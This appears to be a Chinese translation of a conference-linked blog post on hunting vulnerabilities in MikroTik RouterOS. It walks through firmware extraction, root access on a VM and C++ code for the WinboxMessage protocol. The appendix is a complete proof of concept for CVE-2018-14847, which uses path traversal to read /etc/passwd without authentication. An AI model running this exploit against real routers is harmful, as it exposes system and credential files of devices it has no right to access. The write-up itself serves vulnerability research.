一、前言
最近,我在Slack上收到了很多条私信,这些私信都共同指向同一条推文。
为什么这与我有关呢?因为上周日,我在Derbycon上发表了一次关于在MikroTik的RouterOS中寻找漏洞的演讲。
现在,Zerodium已经为MikroTik漏洞支付了6位数的奖励,我认为这是一个好机会,可以让我对RouterOS的漏洞进行一次完整分析。其实,任何时候都是研究RouterOS漏洞的好时机,因为这是一个有趣的目标。在本文的分析过程中,我发现了一个新的未授权漏洞。相信你也可以找到一些漏洞。
二、奠定基础
现在,想必各位读者已经开始规划奖金要如何分配了。但是,还是需要冷静下来,我们还有一部分准备工作要做。2.1 获取软件最开始,大家其实不必急于在淘宝上购买MikroTik路由器。因为MikroTik在其网站上就提供了RouterOS的ISO镜像。在下载ISO之后,可以使用VirtualBox或VMWare创建一台虚拟主机。
我们从ISO中,可以提取系统文件。
- albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
- 7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
- p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
- Processing archive: mikrotik-6.42.11.iso
- Extracting advanced-tools-6.42.11.npk
- Extracting calea-6.42.11.npk
- Extracting defpacks
- Extracting dhcp-6.42.11.npk
- Extracting dude-6.42.11.npk
- Extracting gps-6.42.11.npk
- Extracting hotspot-6.42.11.npk
- Extracting ipv6-6.42.11.npk
- Extracting isolinux
- Extracting isolinux/boot.cat
- Extracting isolinux/initrd.rgz
- Extracting isolinux/isolinux.bin
- Extracting isolinux/isolinux.cfg
- Extracting isolinux/linux
- Extracting isolinux/TRANS.TBL
- Extracting kvm-6.42.11.npk
- Extracting lcd-6.42.11.npk
- Extracting LICENSE.txt
- Extracting mpls-6.42.11.npk
- Extracting multicast-6.42.11.npk
- Extracting ntp-6.42.11.npk
- Extracting ppp-6.42.11.npk
- Extracting routing-6.42.11.npk
- Extracting security-6.42.11.npk
- Extracting system-6.42.11.npk
- Extracting TRANS.TBL
- Extracting ups-6.42.11.npk
- Extracting user-manager-6.42.11.npk
- Extracting wireless-6.42.11.npk
- Extracting [BOOT]/Bootable_NoEmulation.img
- Everything is Ok
- Folders: 1
- Files: 29
- Size: 26232176
- Compressed: 26335232
MikroTik使用他们自定义的.npk格式封装了许多软件。有一个工具可以对它们实现解封装,但我还是更加倾向于使用binwalk。albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
- albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
- DECIMAL HEXADECIMAL DESCRIPTION
- --------------------------------------------------------------------
- 0 0x0 NPK firmware header, image size: 15616295, image name: "system", description: ""
- 4096 0x1000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
- 9822304 0x95E060 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
- 9842177 0x962E01 Unix path: /sys/devices/system/cpu
- 9846974 0x9640BE ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
- 9904147 0x972013 Unix path: /sys/devices/system/cpu
- 9928025 0x977D59 Copyright string: "Copyright 1995-2005 Mark Adler "
- 9928138 0x977DCA CRC32 polynomial table, little endian
- 9932234 0x978DCA CRC32 polynomial table, big endian
- 9958962 0x97F632 xz compressed data
- 12000822 0xB71E36 xz compressed data
- 12003148 0xB7274C xz compressed data
- 12104110 0xB8B1AE xz compressed data
- 13772462 0xD226AE xz compressed data
- 13790464 0xD26D00 xz compressed data
- 15613512 0xEE3E48 xz compressed data
- 15616031 0xEE481F Unix path: /var/pdb/system/crcbin/milo 3801732988
- albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
- total 64
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
- lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
- drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
- drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
- lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
- lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
- drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
- lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
- drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
- drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
- albinolobster@ubuntu:~/6.42.11$
2.2 打开盒子
在寻找漏洞时,如果能访问目标的文件系统,那么会很有帮助。如果能够在本地运行GDB等工具,那么效果也会不错。但是,RouterOS提供的Shell并不是普通的Unix Shell。它只是RouterOS命令的命令行界面。
幸运的是,我有一个解决方案可以应对这些问题。根据编写rc.d脚本的S12defconf方式,我们发现RouterOS将会执行存储在/rw/DEFCONF文件中的任何内容。
普通用户无法访问该文件,但考虑到虚拟机和Live CD的独特性,我们可以借助它来创建文件,并在其中插入所需要的任何命令。要准确描述这一过程,可能太过复杂,因此我制作了一个视频,长度为5分钟左右,记录了从虚拟机安装到实现Root Telnet访问的全过程。
视频:https://youtu.be/OZ11gbF9fwM
通过Root Telnet访问,现在就可以完全控制虚拟机。我们可以上传更多的工具、附加到进程、查看日志等。至此为止,我们就已经准备好了,即将开始探索路由器的攻击面。
三、有人在听吗?
借助ps命令,我们可以快速确定网络可以访问到的攻击面。
看起来,路由器会监听一些众所周知的端口(HTTP、FTP、Telnet和SSH),但同样也有一些鲜为人知的端口。端口2000上的btest是带宽测试服务。端口8291上的mproxy是WinBox与之接口的服务。WinBox是一个在Windows上运行的管理工具,它与Telnet、SSH和HTTP接口共享所有的功能。
四、真正的攻击面
运行ps命令后,我们得到的输出结果不太乐观。看起来,好像只有几个二进制文件能够作为我们寻找漏洞的目标。但事实并非如此。HTTP服务器和WinBox都使用了自定义的协议,我将其称为WinboxMessage,实际代码称之为nv::message。该协议指定应该将消息传递到哪个二进制文件上。事实上,如果安装了所有软件包,大约有90多种不同的网络可以借助WinboxMessage协议访问二进制文件。还有一种简单的方法可以找出我们要寻找漏洞的二进制文件。可以在每个包的/nova/etc/loader/*.x3文件中找到一个列表。x3是一个自定义文件格式,所以我写了一个解析器。在运行后,输出结果较长,因此我做了一部分删减,删减后输出结果如下。
- albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3
- /nova/bin/log,3
- /nova/bin/radius,5
- /nova/bin/moduler,6
- /nova/bin/user,13
- /nova/bin/resolver,14
- /nova/bin/mactel,15
- /nova/bin/undo,17
- /nova/bin/macping,18
- /nova/bin/cerm,19
- /nova/bin/cerm-worker,75
- /nova/bin/net,20
- ...
x3文件还包含每个二进制文件的“SYS TO”标识符。这是WinboxMessage协议用于确定应处理消息位置的标识符。
五、对WinboxMessage的深入分析
在清楚可以接触到哪些二进制文件之后,我们其实还要清楚如何与它们进行通信。在本章中,我将介绍几个例子。
5.1 入门
假如我想和/nova/bin/undo进行对话,应该从哪里开始?我们首先从一些代码开始讲起。我写了一些C++代码,它将完成所有WinboxMessage协议格式化和会话处理。我还创建了一个可以继续构建的程序框架,各位读者可以继续完善。
- std::string ip;
- std::string port;
- if (!parseCommandLine(p_argc, p_argv, ip, port))
- {
- return EXIT_FAILURE;
- }
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host"
- << std::endl;
- return EXIT_FAILURE;
- }
- return EXIT_SUCCESS;
大家可以看到,Winbox_Session类负责连接到路由器,此外它还负责身份验证逻辑以及发送和接收消息。现在,从上面的输出中可以看出,/nova/bin/undo有一个SYS TO,标识符为17。为了实现undo,我们需要更新代码,以创建消息,并设置相应的SYS TO标识符。
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host"
- << std::endl;
- return EXIT_FAILURE;
- }
- WinboxMessage msg;
- msg.set_to(17);
5.2 命令与控制
每条消息还需要一个命令。正如稍后我们看到的,每个命令都会调用特定的功能。所有处理程序都使用一些内置的命令(0xfe0000–0xfe00016)和一些具有唯一实现的自定义命令。Pop /nova/bin/undo进入反汇编程序,并找到nv::Looper::Looper构造函数的唯一代码交叉引用。
按照我标记为undo_handler的偏移到vtable,可以看到以下内容。
这里是undo WinboxMessage处理的vtable。有一些函数直接对应我前面提到的内置命令(例如:0xfe0001由nv::Handler::cmdGetPolicies负责处理)。此外,我还突出标记了未知的命令功能,非内置命令将在这里实现。由于非内置命令通常是最有趣的,所以我们将会跳转到cmdUnknown。我们可以看到,它会从基于命令的跳转表开始。
看起来,命令的编号从0x80001开始。稍微查看代码后,发现命令0x80002似乎有一个有用的字符串可以进行测试。那么,我们来看看是否可以达到“无需redo”的代码路径。
我们需要更新框架代码,以请求命令0x80002。我们还需要添加发送和接收逻辑。
- WinboxMessage msg;
- msg.set_to(17);
- msg.set_command(0x80002);
- msg.set_request_id(1);
- msg.set_reply_expected(true);
- winboxSession.send(msg);
- std::cout << "req: " << msg.serialize_to_json() << std::endl;
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- std::cout << "resp: " << msg.serialize_to_json() << std::endl;
- if (msg.has_error())
- {
- std::cerr << msg.get_error_string() << std::endl;
- return EXIT_FAILURE;
- }
- return EXIT_SUCCESS;
在编译并执行后,我们就得到了想要的“无需redo”。
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
- req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
- resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
- nothing to redo
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$
5.3 突破口不止一个
在前面的示例中,我们查看了undo中的主处理程序,该处理程序可以简单地解析为17。但是,大多数二进制文件都有多个处理程序。在下面的示例中,我们将要检查/nova/bin/mproxy的第二个处理程序。我非常喜欢这个示例,因为这就是CVE-2018-14847的攻击面,并且这个示例有助于揭开这些奇怪二进制Blob的神秘面纱:
5.4 寻找处理程序
在IDA中打开/nova/bin/mproxy,找到nv::Looper::addHandler导入。在6.42.11中,addHandler只有两段代码交叉引用。在这里,很容易识别到我们感兴趣的处理程序,也就是第二个处理程序,因为在调用addHandler之前,处理程序标识符被压入栈中。
如果我们查看将nv::Handler*加载到edi中的位置,我们就会找到处理程序的vtable的偏移量。这个结构看起来有些熟悉:
在这里,我再次强调了未知的命令功能。这一处理程序的未知命令函数支持七个命令:
1、打开/var/pckg/中的文件以进行写入;
2、写入打开的文件;
3、打开/var/pckg/中的文件以进行读取;
4、读取打开的文件;
5、取消文件传输;
6、在/var/pckg/中创建一个目录;
7、打开/home/web/webfig/中的文件并进行读取。其中,第4、5、7个命令不需要进行身份验证。
5.5 打开文件
我们尝试使用命令7,在/home/web/webfig/中打开一个文件。这是exploit-db截图中FIRST_PAYLOAD使用的命令。我们仔细查看代码中对命令7的处理,会发现它首先找到的是一个id为1的字符串。
字符串是我们要打开的文件名。我们来看一下,/home/web/webfig中的哪一个文件比较有趣呢?
事实上,我们在这里看不出来。但在list中,包含已经安装的软件包和其版本号的列表。我们将打开的文件请求转换为WinboxMessage。返回到我们编写的代码,我们需要覆盖set_to和set_command代码,还需要插入add_string。因此我又重新修改了代码。
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host"
- << std::endl;
- return EXIT_FAILURE;
- }
- WinboxMessage msg;
- msg.set_to(2,2); // mproxy, second handler
- msg.set_command(7);
- msg.add_string(1, "list"); // the file to open
- msg.set_request_id(1);
- msg.set_reply_expected(true);
- winboxSession.send(msg);
- std::cout << "req: " << msg.serialize_to_json() << std::endl;
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- std::cout << "resp: " << msg.serialize_to_json() << std::endl;
运行此代码后,我们应该能够看到如下内容:
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
- req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
- resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}
- albinolobster@ubuntu:~/routeros/poc/skeleton/build$
现在,应该可以看到服务器的响应中包含u2:1818。眼熟不?
由于运行需要较长时间,因此我把读取文件内容的这部分工作交给读者自行完成。在CVE-2018-14847的PoC中包含了读者可能需要的所有提示。
六、总结
至此,我们已经详细说明了如何获取RouterOS软件并创建虚拟机,并展示了RouterOS的攻击面,并分析如何进入系统二进制文件。我分享了用于处理Winbox通信的代码,并展示了详细的使用过程。如果各位读者还想深入研究协议的细节,那么请阅读我的演讲内容。至少,我们现在知道,MikroTik的安全性仍然是不容忽视的。附录:CVE-2018-14847 PoC#include
- #include <cstdlib>
- #include <iostream>
- #include <boost/cstdint.hpp>
- #include <boost/program_options.hpp>
- #include <boost/algorithm/string.hpp>
- #include "winbox_session.hpp"
- #include "winbox_message.hpp"
- namespace
- {
- const char s_version[] = "CVE-2018-14847 PoC Derbycon 2018 release";
- bool parseCommandLine(int p_argCount, const char* p_argArray[],
- std::string& p_ip, std::string& p_port)
- {
- boost::program_options::options_description description("options");
- description.add_options()
- ("help,h", "A list of command line options")
- ("version,v", "Display version information")
- ("port,p", boost::program_options::value<std::string>(), "The port to connect to")
- ("ip,i", boost::program_options::value<std::string>(), "The ip to connect to");
- boost::program_options::variables_map argv_map;
- try
- {
- boost::program_options::store(
- boost::program_options::parse_command_line(
- p_argCount, p_argArray, description), argv_map);
- }
- catch (const std::exception& e)
- {
- std::cerr << e.what() << std::endl;
- std::cerr << description << std::endl;
- return false;
- }
- boost::program_options::notify(argv_map);
- if (argv_map.empty() || argv_map.count("help"))
- {
- std::cerr << description << std::endl;
- return false;
- }
- if (argv_map.count("version"))
- {
- std::cerr << "Version: " << ::s_version << std::endl;
- return false;
- }
- if (argv_map.count("ip") && argv_map.count("port"))
- {
- p_ip.assign(argv_map["ip"].as<std::string>());
- p_port.assign(argv_map["port"].as<std::string>());
- return true;
- }
- else
- {
- std::cout << description << std::endl;
- }
- return false;
- }
- }
- int main(int p_argc, const char** p_argv)
- {
- std::string ip;
- std::string port;
- if (!parseCommandLine(p_argc, p_argv, ip, port))
- {
- return EXIT_FAILURE;
- }
- Winbox_Session winboxSession(ip, port);
- if (!winboxSession.connect())
- {
- std::cerr << "Failed to connect to the remote host" << std::endl;
- return EXIT_FAILURE;
- }
- WinboxMessage msg;
- msg.set_to(2, 2);
- msg.set_command(7);
- msg.set_request_id(1);
- msg.set_reply_expected(true);
- msg.add_string(1, "//./.././.././../etc/passwd");
- winboxSession.send(msg);
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- boost::uint32_t sessionID = msg.get_session_id();
- boost::uint16_t file_size = msg.get_u32(2);
- if (file_size == 0)
- {
- std::cout << "File size is 0" << std::endl;
- return EXIT_FAILURE;
- }
- msg.reset();
- msg.set_to(2, 2);
- msg.set_command(4);
- msg.set_request_id(2);
- msg.set_reply_expected(true);
- msg.set_session_id(sessionID);
- msg.add_u32(2, file_size);
- winboxSession.send(msg);
- msg.reset();
- if (!winboxSession.receive(msg))
- {
- std::cerr << "Error receiving a response." << std::endl;
- return EXIT_FAILURE;
- }
- std::string raw_payload(msg.get_raw(0x03));
- std::cout << std::endl << "=== File Contents (size: " << raw_payload.size() << ") ===" << std::endl;
- for (std::size_t i = 0; i < raw_payload.size(); i++)
- {
- std::cerr << raw_payload[i];
- }
- std::cerr << std::endl;
- return EXIT_SUCCESS;
- }